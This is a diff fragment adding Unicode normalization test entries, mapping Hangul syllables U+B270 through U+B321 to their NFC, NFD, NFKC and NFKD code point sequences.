+{ source: [0xB270], NFC: [0xB270], NFD: [0x1102, 0x1171, 0x11BF], NFKC: [0xB270], NFKD: [0x1102, 0x1171, 0x11BF] },
+{ source: [0xB271], NFC: [0xB271], NFD: [0x1102, 0x1171, 0x11C0], NFKC: [0xB271], NFKD: [0x1102, 0x1171, 0x11C0] },
+{ source: [0xB272], NFC: [0xB272], NFD: [0x1102, 0x1171, 0x11C1], NFKC: [0xB272], NFKD: [0x1102, 0x1171, 0x11C1] },
+{ source: [0xB273], NFC: [0xB273], NFD: [0x1102, 0x1171, 0x11C2], NFKC: [0xB273], NFKD: [0x1102, 0x1171, 0x11C2] },
+{ source: [0xB274], NFC: [0xB274], NFD: [0x1102, 0x1172], NFKC: [0xB274], NFKD: [0x1102, 0x1172] },
+{ source: [0xB275], NFC: [0xB275], NFD: [0x1102, 0x1172, 0x11A8], NFKC: [0xB275], NFKD: [0x1102, 0x1172, 0x11A8] },
+{ source: [0xB276], NFC: [0xB276], NFD: [0x1102, 0x1172, 0x11A9], NFKC: [0xB276], NFKD: [0x1102, 0x1172, 0x11A9] },
+{ source: [0xB277], NFC: [0xB277], NFD: [0x1102, 0x1172, 0x11AA], NFKC: [0xB277], NFKD: [0x1102, 0x1172, 0x11AA] },
+{ source: [0xB278], NFC: [0xB278], NFD: [0x1102, 0x1172, 0x11AB], NFKC: [0xB278], NFKD: [0x1102, 0x1172, 0x11AB] },
+{ source: [0xB279], NFC: [0xB279], NFD: [0x1102, 0x1172, 0x11AC], NFKC: [0xB279], NFKD: [0x1102, 0x1172, 0x11AC] },
+{ source: [0xB27A], NFC: [0xB27A], NFD: [0x1102, 0x1172, 0x11AD], NFKC: [0xB27A], NFKD: [0x1102, 0x1172, 0x11AD] },
+{ source: [0xB27B], NFC: [0xB27B], NFD: [0x1102, 0x1172, 0x11AE], NFKC: [0xB27B], NFKD: [0x1102, 0x1172, 0x11AE] },
+{ source: [0xB27C], NFC: [0xB27C], NFD: [0x1102, 0x1172, 0x11AF], NFKC: [0xB27C], NFKD: [0x1102, 0x1172, 0x11AF] },
+{ source: [0xB27D], NFC: [0xB27D], NFD: [0x1102, 0x1172, 0x11B0], NFKC: [0xB27D], NFKD: [0x1102, 0x1172, 0x11B0] },
+{ source: [0xB27E], NFC: [0xB27E], NFD: [0x1102, 0x1172, 0x11B1], NFKC: [0xB27E], NFKD: [0x1102, 0x1172, 0x11B1] },
+{ source: [0xB27F], NFC: [0xB27F], NFD: [0x1102, 0x1172, 0x11B2], NFKC: [0xB27F], NFKD: [0x1102, 0x1172, 0x11B2] },
+{ source: [0xB280], NFC: [0xB280], NFD: [0x1102, 0x1172, 0x11B3], NFKC: [0xB280], NFKD: [0x1102, 0x1172, 0x11B3] },
+{ source: [0xB281], NFC: [0xB281], NFD: [0x1102, 0x1172, 0x11B4], NFKC: [0xB281], NFKD: [0x1102, 0x1172, 0x11B4] },
+{ source: [0xB282], NFC: [0xB282], NFD: [0x1102, 0x1172, 0x11B5], NFKC: [0xB282], NFKD: [0x1102, 0x1172, 0x11B5] },
+{ source: [0xB283], NFC: [0xB283], NFD: [0x1102, 0x1172, 0x11B6], NFKC: [0xB283], NFKD: [0x1102, 0x1172, 0x11B6] },
+{ source: [0xB284], NFC: [0xB284], NFD: [0x1102, 0x1172, 0x11B7], NFKC: [0xB284], NFKD: [0x1102, 0x1172, 0x11B7] },
+{ source: [0xB285], NFC: [0xB285], NFD: [0x1102, 0x1172, 0x11B8], NFKC: [0xB285], NFKD: [0x1102, 0x1172, 0x11B8] },
+{ source: [0xB286], NFC: [0xB286], NFD: [0x1102, 0x1172, 0x11B9], NFKC: [0xB286], NFKD: [0x1102, 0x1172, 0x11B9] },
+{ source: [0xB287], NFC: [0xB287], NFD: [0x1102, 0x1172, 0x11BA], NFKC: [0xB287], NFKD: [0x1102, 0x1172, 0x11BA] },
+{ source: [0xB288], NFC: [0xB288], NFD: [0x1102, 0x1172, 0x11BB], NFKC: [0xB288], NFKD: [0x1102, 0x1172, 0x11BB] },
+{ source: [0xB289], NFC: [0xB289], NFD: [0x1102, 0x1172, 0x11BC], NFKC: [0xB289], NFKD: [0x1102, 0x1172, 0x11BC] },
+{ source: [0xB28A], NFC: [0xB28A], NFD: [0x1102, 0x1172, 0x11BD], NFKC: [0xB28A], NFKD: [0x1102, 0x1172, 0x11BD] },
+{ source: [0xB28B], NFC: [0xB28B], NFD: [0x1102, 0x1172, 0x11BE], NFKC: [0xB28B], NFKD: [0x1102, 0x1172, 0x11BE] },
+{ source: [0xB28C], NFC: [0xB28C], NFD: [0x1102, 0x1172, 0x11BF], NFKC: [0xB28C], NFKD: [0x1102, 0x1172, 0x11BF] },
+{ source: [0xB28D], NFC: [0xB28D], NFD: [0x1102, 0x1172, 0x11C0], NFKC: [0xB28D], NFKD: [0x1102, 0x1172, 0x11C0] },
+{ source: [0xB28E], NFC: [0xB28E], NFD: [0x1102, 0x1172, 0x11C1], NFKC: [0xB28E], NFKD: [0x1102, 0x1172, 0x11C1] },
+{ source: [0xB28F], NFC: [0xB28F], NFD: [0x1102, 0x1172, 0x11C2], NFKC: [0xB28F], NFKD: [0x1102, 0x1172, 0x11C2] },
+{ source: [0xB290], NFC: [0xB290], NFD: [0x1102, 0x1173], NFKC: [0xB290], NFKD: [0x1102, 0x1173] },
+{ source: [0xB291], NFC: [0xB291], NFD: [0x1102, 0x1173, 0x11A8], NFKC: [0xB291], NFKD: [0x1102, 0x1173, 0x11A8] },
+{ source: [0xB292], NFC: [0xB292], NFD: [0x1102, 0x1173, 0x11A9], NFKC: [0xB292], NFKD: [0x1102, 0x1173, 0x11A9] },
+{ source: [0xB293], NFC: [0xB293], NFD: [0x1102, 0x1173, 0x11AA], NFKC: [0xB293], NFKD: [0x1102, 0x1173, 0x11AA] },
+{ source: [0xB294], NFC: [0xB294], NFD: [0x1102, 0x1173, 0x11AB], NFKC: [0xB294], NFKD: [0x1102, 0x1173, 0x11AB] },
+{ source: [0xB295], NFC: [0xB295], NFD: [0x1102, 0x1173, 0x11AC], NFKC: [0xB295], NFKD: [0x1102, 0x1173, 0x11AC] },
+{ source: [0xB296], NFC: [0xB296], NFD: [0x1102, 0x1173, 0x11AD], NFKC: [0xB296], NFKD: [0x1102, 0x1173, 0x11AD] },
+{ source: [0xB297], NFC: [0xB297], NFD: [0x1102, 0x1173, 0x11AE], NFKC: [0xB297], NFKD: [0x1102, 0x1173, 0x11AE] },
+{ source: [0xB298], NFC: [0xB298], NFD: [0x1102, 0x1173, 0x11AF], NFKC: [0xB298], NFKD: [0x1102, 0x1173, 0x11AF] },
+{ source: [0xB299], NFC: [0xB299], NFD: [0x1102, 0x1173, 0x11B0], NFKC: [0xB299], NFKD: [0x1102, 0x1173, 0x11B0] },
+{ source: [0xB29A], NFC: [0xB29A], NFD: [0x1102, 0x1173, 0x11B1], NFKC: [0xB29A], NFKD: [0x1102, 0x1173, 0x11B1] },
+{ source: [0xB29B], NFC: [0xB29B], NFD: [0x1102, 0x1173, 0x11B2], NFKC: [0xB29B], NFKD: [0x1102, 0x1173, 0x11B2] },
+{ source: [0xB29C], NFC: [0xB29C], NFD: [0x1102, 0x1173, 0x11B3], NFKC: [0xB29C], NFKD: [0x1102, 0x1173, 0x11B3] },
+{ source: [0xB29D], NFC: [0xB29D], NFD: [0x1102, 0x1173, 0x11B4], NFKC: [0xB29D], NFKD: [0x1102, 0x1173, 0x11B4] },
+{ source: [0xB29E], NFC: [0xB29E], NFD: [0x1102, 0x1173, 0x11B5], NFKC: [0xB29E], NFKD: [0x1102, 0x1173, 0x11B5] },
+{ source: [0xB29F], NFC: [0xB29F], NFD: [0x1102, 0x1173, 0x11B6], NFKC: [0xB29F], NFKD: [0x1102, 0x1173, 0x11B6] },
+{ source: [0xB2A0], NFC: [0xB2A0], NFD: [0x1102, 0x1173, 0x11B7], NFKC: [0xB2A0], NFKD: [0x1102, 0x1173, 0x11B7] },
+{ source: [0xB2A1], NFC: [0xB2A1], NFD: [0x1102, 0x1173, 0x11B8], NFKC: [0xB2A1], NFKD: [0x1102, 0x1173, 0x11B8] },
+{ source: [0xB2A2], NFC: [0xB2A2], NFD: [0x1102, 0x1173, 0x11B9], NFKC: [0xB2A2], NFKD: [0x1102, 0x1173, 0x11B9] },
+{ source: [0xB2A3], NFC: [0xB2A3], NFD: [0x1102, 0x1173, 0x11BA], NFKC: [0xB2A3], NFKD: [0x1102, 0x1173, 0x11BA] },
+{ source: [0xB2A4], NFC: [0xB2A4], NFD: [0x1102, 0x1173, 0x11BB], NFKC: [0xB2A4], NFKD: [0x1102, 0x1173, 0x11BB] },
+{ source: [0xB2A5], NFC: [0xB2A5], NFD: [0x1102, 0x1173, 0x11BC], NFKC: [0xB2A5], NFKD: [0x1102, 0x1173, 0x11BC] },
+{ source: [0xB2A6], NFC: [0xB2A6], NFD: [0x1102, 0x1173, 0x11BD], NFKC: [0xB2A6], NFKD: [0x1102, 0x1173, 0x11BD] },
+{ source: [0xB2A7], NFC: [0xB2A7], NFD: [0x1102, 0x1173, 0x11BE], NFKC: [0xB2A7], NFKD: [0x1102, 0x1173, 0x11BE] },
+{ source: [0xB2A8], NFC: [0xB2A8], NFD: [0x1102, 0x1173, 0x11BF], NFKC: [0xB2A8], NFKD: [0x1102, 0x1173, 0x11BF] },
+{ source: [0xB2A9], NFC: [0xB2A9], NFD: [0x1102, 0x1173, 0x11C0], NFKC: [0xB2A9], NFKD: [0x1102, 0x1173, 0x11C0] },
+{ source: [0xB2AA], NFC: [0xB2AA], NFD: [0x1102, 0x1173, 0x11C1], NFKC: [0xB2AA], NFKD: [0x1102, 0x1173, 0x11C1] },
+{ source: [0xB2AB], NFC: [0xB2AB], NFD: [0x1102, 0x1173, 0x11C2], NFKC: [0xB2AB], NFKD: [0x1102, 0x1173, 0x11C2] },
+{ source: [0xB2AC], NFC: [0xB2AC], NFD: [0x1102, 0x1174], NFKC: [0xB2AC], NFKD: [0x1102, 0x1174] },
+{ source: [0xB2AD], NFC: [0xB2AD], NFD: [0x1102, 0x1174, 0x11A8], NFKC: [0xB2AD], NFKD: [0x1102, 0x1174, 0x11A8] },
+{ source: [0xB2AE], NFC: [0xB2AE], NFD: [0x1102, 0x1174, 0x11A9], NFKC: [0xB2AE], NFKD: [0x1102, 0x1174, 0x11A9] },
+{ source: [0xB2AF], NFC: [0xB2AF], NFD: [0x1102, 0x1174, 0x11AA], NFKC: [0xB2AF], NFKD: [0x1102, 0x1174, 0x11AA] },
+{ source: [0xB2B0], NFC: [0xB2B0], NFD: [0x1102, 0x1174, 0x11AB], NFKC: [0xB2B0], NFKD: [0x1102, 0x1174, 0x11AB] },
+{ source: [0xB2B1], NFC: [0xB2B1], NFD: [0x1102, 0x1174, 0x11AC], NFKC: [0xB2B1], NFKD: [0x1102, 0x1174, 0x11AC] },
+{ source: [0xB2B2], NFC: [0xB2B2], NFD: [0x1102, 0x1174, 0x11AD], NFKC: [0xB2B2], NFKD: [0x1102, 0x1174, 0x11AD] },
+{ source: [0xB2B3], NFC: [0xB2B3], NFD: [0x1102, 0x1174, 0x11AE], NFKC: [0xB2B3], NFKD: [0x1102, 0x1174, 0x11AE] },
+{ source: [0xB2B4], NFC: [0xB2B4], NFD: [0x1102, 0x1174, 0x11AF], NFKC: [0xB2B4], NFKD: [0x1102, 0x1174, 0x11AF] },
+{ source: [0xB2B5], NFC: [0xB2B5], NFD: [0x1102, 0x1174, 0x11B0], NFKC: [0xB2B5], NFKD: [0x1102, 0x1174, 0x11B0] },
+{ source: [0xB2B6], NFC: [0xB2B6], NFD: [0x1102, 0x1174, 0x11B1], NFKC: [0xB2B6], NFKD: [0x1102, 0x1174, 0x11B1] },
+{ source: [0xB2B7], NFC: [0xB2B7], NFD: [0x1102, 0x1174, 0x11B2], NFKC: [0xB2B7], NFKD: [0x1102, 0x1174, 0x11B2] },
+{ source: [0xB2B8], NFC: [0xB2B8], NFD: [0x1102, 0x1174, 0x11B3], NFKC: [0xB2B8], NFKD: [0x1102, 0x1174, 0x11B3] },
+{ source: [0xB2B9], NFC: [0xB2B9], NFD: [0x1102, 0x1174, 0x11B4], NFKC: [0xB2B9], NFKD: [0x1102, 0x1174, 0x11B4] },
+{ source: [0xB2BA], NFC: [0xB2BA], NFD: [0x1102, 0x1174, 0x11B5], NFKC: [0xB2BA], NFKD: [0x1102, 0x1174, 0x11B5] },
+{ source: [0xB2BB], NFC: [0xB2BB], NFD: [0x1102, 0x1174, 0x11B6], NFKC: [0xB2BB], NFKD: [0x1102, 0x1174, 0x11B6] },
+{ source: [0xB2BC], NFC: [0xB2BC], NFD: [0x1102, 0x1174, 0x11B7], NFKC: [0xB2BC], NFKD: [0x1102, 0x1174, 0x11B7] },
+{ source: [0xB2BD], NFC: [0xB2BD], NFD: [0x1102, 0x1174, 0x11B8], NFKC: [0xB2BD], NFKD: [0x1102, 0x1174, 0x11B8] },
+{ source: [0xB2BE], NFC: [0xB2BE], NFD: [0x1102, 0x1174, 0x11B9], NFKC: [0xB2BE], NFKD: [0x1102, 0x1174, 0x11B9] },
+{ source: [0xB2BF], NFC: [0xB2BF], NFD: [0x1102, 0x1174, 0x11BA], NFKC: [0xB2BF], NFKD: [0x1102, 0x1174, 0x11BA] },
+{ source: [0xB2C0], NFC: [0xB2C0], NFD: [0x1102, 0x1174, 0x11BB], NFKC: [0xB2C0], NFKD: [0x1102, 0x1174, 0x11BB] },
+{ source: [0xB2C1], NFC: [0xB2C1], NFD: [0x1102, 0x1174, 0x11BC], NFKC: [0xB2C1], NFKD: [0x1102, 0x1174, 0x11BC] },
+{ source: [0xB2C2], NFC: [0xB2C2], NFD: [0x1102, 0x1174, 0x11BD], NFKC: [0xB2C2], NFKD: [0x1102, 0x1174, 0x11BD] },
+{ source: [0xB2C3], NFC: [0xB2C3], NFD: [0x1102, 0x1174, 0x11BE], NFKC: [0xB2C3], NFKD: [0x1102, 0x1174, 0x11BE] },
+{ source: [0xB2C4], NFC: [0xB2C4], NFD: [0x1102, 0x1174, 0x11BF], NFKC: [0xB2C4], NFKD: [0x1102, 0x1174, 0x11BF] },
+{ source: [0xB2C5], NFC: [0xB2C5], NFD: [0x1102, 0x1174, 0x11C0], NFKC: [0xB2C5], NFKD: [0x1102, 0x1174, 0x11C0] },
+{ source: [0xB2C6], NFC: [0xB2C6], NFD: [0x1102, 0x1174, 0x11C1], NFKC: [0xB2C6], NFKD: [0x1102, 0x1174, 0x11C1] },
+{ source: [0xB2C7], NFC: [0xB2C7], NFD: [0x1102, 0x1174, 0x11C2], NFKC: [0xB2C7], NFKD: [0x1102, 0x1174, 0x11C2] },
+{ source: [0xB2C8], NFC: [0xB2C8], NFD: [0x1102, 0x1175], NFKC: [0xB2C8], NFKD: [0x1102, 0x1175] },
+{ source: [0xB2C9], NFC: [0xB2C9], NFD: [0x1102, 0x1175, 0x11A8], NFKC: [0xB2C9], NFKD: [0x1102, 0x1175, 0x11A8] },
+{ source: [0xB2CA], NFC: [0xB2CA], NFD: [0x1102, 0x1175, 0x11A9], NFKC: [0xB2CA], NFKD: [0x1102, 0x1175, 0x11A9] },
+{ source: [0xB2CB], NFC: [0xB2CB], NFD: [0x1102, 0x1175, 0x11AA], NFKC: [0xB2CB], NFKD: [0x1102, 0x1175, 0x11AA] },
+{ source: [0xB2CC], NFC: [0xB2CC], NFD: [0x1102, 0x1175, 0x11AB], NFKC: [0xB2CC], NFKD: [0x1102, 0x1175, 0x11AB] },
+{ source: [0xB2CD], NFC: [0xB2CD], NFD: [0x1102, 0x1175, 0x11AC], NFKC: [0xB2CD], NFKD: [0x1102, 0x1175, 0x11AC] },
+{ source: [0xB2CE], NFC: [0xB2CE], NFD: [0x1102, 0x1175, 0x11AD], NFKC: [0xB2CE], NFKD: [0x1102, 0x1175, 0x11AD] },
+{ source: [0xB2CF], NFC: [0xB2CF], NFD: [0x1102, 0x1175, 0x11AE], NFKC: [0xB2CF], NFKD: [0x1102, 0x1175, 0x11AE] },
+{ source: [0xB2D0], NFC: [0xB2D0], NFD: [0x1102, 0x1175, 0x11AF], NFKC: [0xB2D0], NFKD: [0x1102, 0x1175, 0x11AF] },
+{ source: [0xB2D1], NFC: [0xB2D1], NFD: [0x1102, 0x1175, 0x11B0], NFKC: [0xB2D1], NFKD: [0x1102, 0x1175, 0x11B0] },
+{ source: [0xB2D2], NFC: [0xB2D2], NFD: [0x1102, 0x1175, 0x11B1], NFKC: [0xB2D2], NFKD: [0x1102, 0x1175, 0x11B1] },
+{ source: [0xB2D3], NFC: [0xB2D3], NFD: [0x1102, 0x1175, 0x11B2], NFKC: [0xB2D3], NFKD: [0x1102, 0x1175, 0x11B2] },
+{ source: [0xB2D4], NFC: [0xB2D4], NFD: [0x1102, 0x1175, 0x11B3], NFKC: [0xB2D4], NFKD: [0x1102, 0x1175, 0x11B3] },
+{ source: [0xB2D5], NFC: [0xB2D5], NFD: [0x1102, 0x1175, 0x11B4], NFKC: [0xB2D5], NFKD: [0x1102, 0x1175, 0x11B4] },
+{ source: [0xB2D6], NFC: [0xB2D6], NFD: [0x1102, 0x1175, 0x11B5], NFKC: [0xB2D6], NFKD: [0x1102, 0x1175, 0x11B5] },
+{ source: [0xB2D7], NFC: [0xB2D7], NFD: [0x1102, 0x1175, 0x11B6], NFKC: [0xB2D7], NFKD: [0x1102, 0x1175, 0x11B6] },
+{ source: [0xB2D8], NFC: [0xB2D8], NFD: [0x1102, 0x1175, 0x11B7], NFKC: [0xB2D8], NFKD: [0x1102, 0x1175, 0x11B7] },
+{ source: [0xB2D9], NFC: [0xB2D9], NFD: [0x1102, 0x1175, 0x11B8], NFKC: [0xB2D9], NFKD: [0x1102, 0x1175, 0x11B8] },
+{ source: [0xB2DA], NFC: [0xB2DA], NFD: [0x1102, 0x1175, 0x11B9], NFKC: [0xB2DA], NFKD: [0x1102, 0x1175, 0x11B9] },
+{ source: [0xB2DB], NFC: [0xB2DB], NFD: [0x1102, 0x1175, 0x11BA], NFKC: [0xB2DB], NFKD: [0x1102, 0x1175, 0x11BA] },
+{ source: [0xB2DC], NFC: [0xB2DC], NFD: [0x1102, 0x1175, 0x11BB], NFKC: [0xB2DC], NFKD: [0x1102, 0x1175, 0x11BB] },
+{ source: [0xB2DD], NFC: [0xB2DD], NFD: [0x1102, 0x1175, 0x11BC], NFKC: [0xB2DD], NFKD: [0x1102, 0x1175, 0x11BC] },
+{ source: [0xB2DE], NFC: [0xB2DE], NFD: [0x1102, 0x1175, 0x11BD], NFKC: [0xB2DE], NFKD: [0x1102, 0x1175, 0x11BD] },
+{ source: [0xB2DF], NFC: [0xB2DF], NFD: [0x1102, 0x1175, 0x11BE], NFKC: [0xB2DF], NFKD: [0x1102, 0x1175, 0x11BE] },
+{ source: [0xB2E0], NFC: [0xB2E0], NFD: [0x1102, 0x1175, 0x11BF], NFKC: [0xB2E0], NFKD: [0x1102, 0x1175, 0x11BF] },
+{ source: [0xB2E1], NFC: [0xB2E1], NFD: [0x1102, 0x1175, 0x11C0], NFKC: [0xB2E1], NFKD: [0x1102, 0x1175, 0x11C0] },
+{ source: [0xB2E2], NFC: [0xB2E2], NFD: [0x1102, 0x1175, 0x11C1], NFKC: [0xB2E2], NFKD: [0x1102, 0x1175, 0x11C1] },
+{ source: [0xB2E3], NFC: [0xB2E3], NFD: [0x1102, 0x1175, 0x11C2], NFKC: [0xB2E3], NFKD: [0x1102, 0x1175, 0x11C2] },
+{ source: [0xB2E4], NFC: [0xB2E4], NFD: [0x1103, 0x1161], NFKC: [0xB2E4], NFKD: [0x1103, 0x1161] },
+{ source: [0xB2E5], NFC: [0xB2E5], NFD: [0x1103, 0x1161, 0x11A8], NFKC: [0xB2E5], NFKD: [0x1103, 0x1161, 0x11A8] },
+{ source: [0xB2E6], NFC: [0xB2E6], NFD: [0x1103, 0x1161, 0x11A9], NFKC: [0xB2E6], NFKD: [0x1103, 0x1161, 0x11A9] },
+{ source: [0xB2E7], NFC: [0xB2E7], NFD: [0x1103, 0x1161, 0x11AA], NFKC: [0xB2E7], NFKD: [0x1103, 0x1161, 0x11AA] },
+{ source: [0xB2E8], NFC: [0xB2E8], NFD: [0x1103, 0x1161, 0x11AB], NFKC: [0xB2E8], NFKD: [0x1103, 0x1161, 0x11AB] },
+{ source: [0xB2E9], NFC: [0xB2E9], NFD: [0x1103, 0x1161, 0x11AC], NFKC: [0xB2E9], NFKD: [0x1103, 0x1161, 0x11AC] },
+{ source: [0xB2EA], NFC: [0xB2EA], NFD: [0x1103, 0x1161, 0x11AD], NFKC: [0xB2EA], NFKD: [0x1103, 0x1161, 0x11AD] },
+{ source: [0xB2EB], NFC: [0xB2EB], NFD: [0x1103, 0x1161, 0x11AE], NFKC: [0xB2EB], NFKD: [0x1103, 0x1161, 0x11AE] },
+{ source: [0xB2EC], NFC: [0xB2EC], NFD: [0x1103, 0x1161, 0x11AF], NFKC: [0xB2EC], NFKD: [0x1103, 0x1161, 0x11AF] },
+{ source: [0xB2ED], NFC: [0xB2ED], NFD: [0x1103, 0x1161, 0x11B0], NFKC: [0xB2ED], NFKD: [0x1103, 0x1161, 0x11B0] },
+{ source: [0xB2EE], NFC: [0xB2EE], NFD: [0x1103, 0x1161, 0x11B1], NFKC: [0xB2EE], NFKD: [0x1103, 0x1161, 0x11B1] },
+{ source: [0xB2EF], NFC: [0xB2EF], NFD: [0x1103, 0x1161, 0x11B2], NFKC: [0xB2EF], NFKD: [0x1103, 0x1161, 0x11B2] },
+{ source: [0xB2F0], NFC: [0xB2F0], NFD: [0x1103, 0x1161, 0x11B3], NFKC: [0xB2F0], NFKD: [0x1103, 0x1161, 0x11B3] },
+{ source: [0xB2F1], NFC: [0xB2F1], NFD: [0x1103, 0x1161, 0x11B4], NFKC: [0xB2F1], NFKD: [0x1103, 0x1161, 0x11B4] },
+{ source: [0xB2F2], NFC: [0xB2F2], NFD: [0x1103, 0x1161, 0x11B5], NFKC: [0xB2F2], NFKD: [0x1103, 0x1161, 0x11B5] },
+{ source: [0xB2F3], NFC: [0xB2F3], NFD: [0x1103, 0x1161, 0x11B6], NFKC: [0xB2F3], NFKD: [0x1103, 0x1161, 0x11B6] },
+{ source: [0xB2F4], NFC: [0xB2F4], NFD: [0x1103, 0x1161, 0x11B7], NFKC: [0xB2F4], NFKD: [0x1103, 0x1161, 0x11B7] },
+{ source: [0xB2F5], NFC: [0xB2F5], NFD: [0x1103, 0x1161, 0x11B8], NFKC: [0xB2F5], NFKD: [0x1103, 0x1161, 0x11B8] },
+{ source: [0xB2F6], NFC: [0xB2F6], NFD: [0x1103, 0x1161, 0x11B9], NFKC: [0xB2F6], NFKD: [0x1103, 0x1161, 0x11B9] },
+{ source: [0xB2F7], NFC: [0xB2F7], NFD: [0x1103, 0x1161, 0x11BA], NFKC: [0xB2F7], NFKD: [0x1103, 0x1161, 0x11BA] },
+{ source: [0xB2F8], NFC: [0xB2F8], NFD: [0x1103, 0x1161, 0x11BB], NFKC: [0xB2F8], NFKD: [0x1103, 0x1161, 0x11BB] },
+{ source: [0xB2F9], NFC: [0xB2F9], NFD: [0x1103, 0x1161, 0x11BC], NFKC: [0xB2F9], NFKD: [0x1103, 0x1161, 0x11BC] },
+{ source: [0xB2FA], NFC: [0xB2FA], NFD: [0x1103, 0x1161, 0x11BD], NFKC: [0xB2FA], NFKD: [0x1103, 0x1161, 0x11BD] },
+{ source: [0xB2FB], NFC: [0xB2FB], NFD: [0x1103, 0x1161, 0x11BE], NFKC: [0xB2FB], NFKD: [0x1103, 0x1161, 0x11BE] },
+{ source: [0xB2FC], NFC: [0xB2FC], NFD: [0x1103, 0x1161, 0x11BF], NFKC: [0xB2FC], NFKD: [0x1103, 0x1161, 0x11BF] },
+{ source: [0xB2FD], NFC: [0xB2FD], NFD: [0x1103, 0x1161, 0x11C0], NFKC: [0xB2FD], NFKD: [0x1103, 0x1161, 0x11C0] },
+{ source: [0xB2FE], NFC: [0xB2FE], NFD: [0x1103, 0x1161, 0x11C1], NFKC: [0xB2FE], NFKD: [0x1103, 0x1161, 0x11C1] },
+{ source: [0xB2FF], NFC: [0xB2FF], NFD: [0x1103, 0x1161, 0x11C2], NFKC: [0xB2FF], NFKD: [0x1103, 0x1161, 0x11C2] },
+{ source: [0xB300], NFC: [0xB300], NFD: [0x1103, 0x1162], NFKC: [0xB300], NFKD: [0x1103, 0x1162] },
+{ source: [0xB301], NFC: [0xB301], NFD: [0x1103, 0x1162, 0x11A8], NFKC: [0xB301], NFKD: [0x1103, 0x1162, 0x11A8] },
+{ source: [0xB302], NFC: [0xB302], NFD: [0x1103, 0x1162, 0x11A9], NFKC: [0xB302], NFKD: [0x1103, 0x1162, 0x11A9] },
+{ source: [0xB303], NFC: [0xB303], NFD: [0x1103, 0x1162, 0x11AA], NFKC: [0xB303], NFKD: [0x1103, 0x1162, 0x11AA] },
+{ source: [0xB304], NFC: [0xB304], NFD: [0x1103, 0x1162, 0x11AB], NFKC: [0xB304], NFKD: [0x1103, 0x1162, 0x11AB] },
+{ source: [0xB305], NFC: [0xB305], NFD: [0x1103, 0x1162, 0x11AC], NFKC: [0xB305], NFKD: [0x1103, 0x1162, 0x11AC] },
+{ source: [0xB306], NFC: [0xB306], NFD: [0x1103, 0x1162, 0x11AD], NFKC: [0xB306], NFKD: [0x1103, 0x1162, 0x11AD] },
+{ source: [0xB307], NFC: [0xB307], NFD: [0x1103, 0x1162, 0x11AE], NFKC: [0xB307], NFKD: [0x1103, 0x1162, 0x11AE] },
+{ source: [0xB308], NFC: [0xB308], NFD: [0x1103, 0x1162, 0x11AF], NFKC: [0xB308], NFKD: [0x1103, 0x1162, 0x11AF] },
+{ source: [0xB309], NFC: [0xB309], NFD: [0x1103, 0x1162, 0x11B0], NFKC: [0xB309], NFKD: [0x1103, 0x1162, 0x11B0] },
+{ source: [0xB30A], NFC: [0xB30A], NFD: [0x1103, 0x1162, 0x11B1], NFKC: [0xB30A], NFKD: [0x1103, 0x1162, 0x11B1] },
+{ source: [0xB30B], NFC: [0xB30B], NFD: [0x1103, 0x1162, 0x11B2], NFKC: [0xB30B], NFKD: [0x1103, 0x1162, 0x11B2] },
+{ source: [0xB30C], NFC: [0xB30C], NFD: [0x1103, 0x1162, 0x11B3], NFKC: [0xB30C], NFKD: [0x1103, 0x1162, 0x11B3] },
+{ source: [0xB30D], NFC: [0xB30D], NFD: [0x1103, 0x1162, 0x11B4], NFKC: [0xB30D], NFKD: [0x1103, 0x1162, 0x11B4] },
+{ source: [0xB30E], NFC: [0xB30E], NFD: [0x1103, 0x1162, 0x11B5], NFKC: [0xB30E], NFKD: [0x1103, 0x1162, 0x11B5] },
+{ source: [0xB30F], NFC: [0xB30F], NFD: [0x1103, 0x1162, 0x11B6], NFKC: [0xB30F], NFKD: [0x1103, 0x1162, 0x11B6] },
+{ source: [0xB310], NFC: [0xB310], NFD: [0x1103, 0x1162, 0x11B7], NFKC: [0xB310], NFKD: [0x1103, 0x1162, 0x11B7] },
+{ source: [0xB311], NFC: [0xB311], NFD: [0x1103, 0x1162, 0x11B8], NFKC: [0xB311], NFKD: [0x1103, 0x1162, 0x11B8] },
+{ source: [0xB312], NFC: [0xB312], NFD: [0x1103, 0x1162, 0x11B9], NFKC: [0xB312], NFKD: [0x1103, 0x1162, 0x11B9] },
+{ source: [0xB313], NFC: [0xB313], NFD: [0x1103, 0x1162, 0x11BA], NFKC: [0xB313], NFKD: [0x1103, 0x1162, 0x11BA] },
+{ source: [0xB314], NFC: [0xB314], NFD: [0x1103, 0x1162, 0x11BB], NFKC: [0xB314], NFKD: [0x1103, 0x1162, 0x11BB] },
+{ source: [0xB315], NFC: [0xB315], NFD: [0x1103, 0x1162, 0x11BC], NFKC: [0xB315], NFKD: [0x1103, 0x1162, 0x11BC] },
+{ source: [0xB316], NFC: [0xB316], NFD: [0x1103, 0x1162, 0x11BD], NFKC: [0xB316], NFKD: [0x1103, 0x1162, 0x11BD] },
+{ source: [0xB317], NFC: [0xB317], NFD: [0x1103, 0x1162, 0x11BE], NFKC: [0xB317], NFKD: [0x1103, 0x1162, 0x11BE] },
+{ source: [0xB318], NFC: [0xB318], NFD: [0x1103, 0x1162, 0x11BF], NFKC: [0xB318], NFKD: [0x1103, 0x1162, 0x11BF] },
+{ source: [0xB319], NFC: [0xB319], NFD: [0x1103, 0x1162, 0x11C0], NFKC: [0xB319], NFKD: [0x1103, 0x1162, 0x11C0] },
+{ source: [0xB31A], NFC: [0xB31A], NFD: [0x1103, 0x1162, 0x11C1], NFKC: [0xB31A], NFKD: [0x1103, 0x1162, 0x11C1] },
+{ source: [0xB31B], NFC: [0xB31B], NFD: [0x1103, 0x1162, 0x11C2], NFKC: [0xB31B], NFKD: [0x1103, 0x1162, 0x11C2] },
+{ source: [0xB31C], NFC: [0xB31C], NFD: [0x1103, 0x1163], NFKC: [0xB31C], NFKD: [0x1103, 0x1163] },
+{ source: [0xB31D], NFC: [0xB31D], NFD: [0x1103, 0x1163, 0x11A8], NFKC: [0xB31D], NFKD: [0x1103, 0x1163, 0x11A8] },
+{ source: [0xB31E], NFC: [0xB31E], NFD: [0x1103, 0x1163, 0x11A9], NFKC: [0xB31E], NFKD: [0x1103, 0x1163, 0x11A9] },
+{ source: [0xB31F], NFC: [0xB31F], NFD: [0x1103, 0x1163, 0x11AA], NFKC: [0xB31F], NFKD: [0x1103, 0x1163, 0x11AA] },
+{ source: [0xB320], NFC: [0xB320], NFD: [0x1103, 0x1163, 0x11AB], NFKC: [0xB320], NFKD: [0x1103, 0x1163, 0x11AB] },
+{ source: [0xB321], NFC: [0xB321], NFD: [0x1103, 0x1163, 0x11AC], NFKC: [0xB321], NFKD: [0x1103, 0x1163, 0x11AC] },
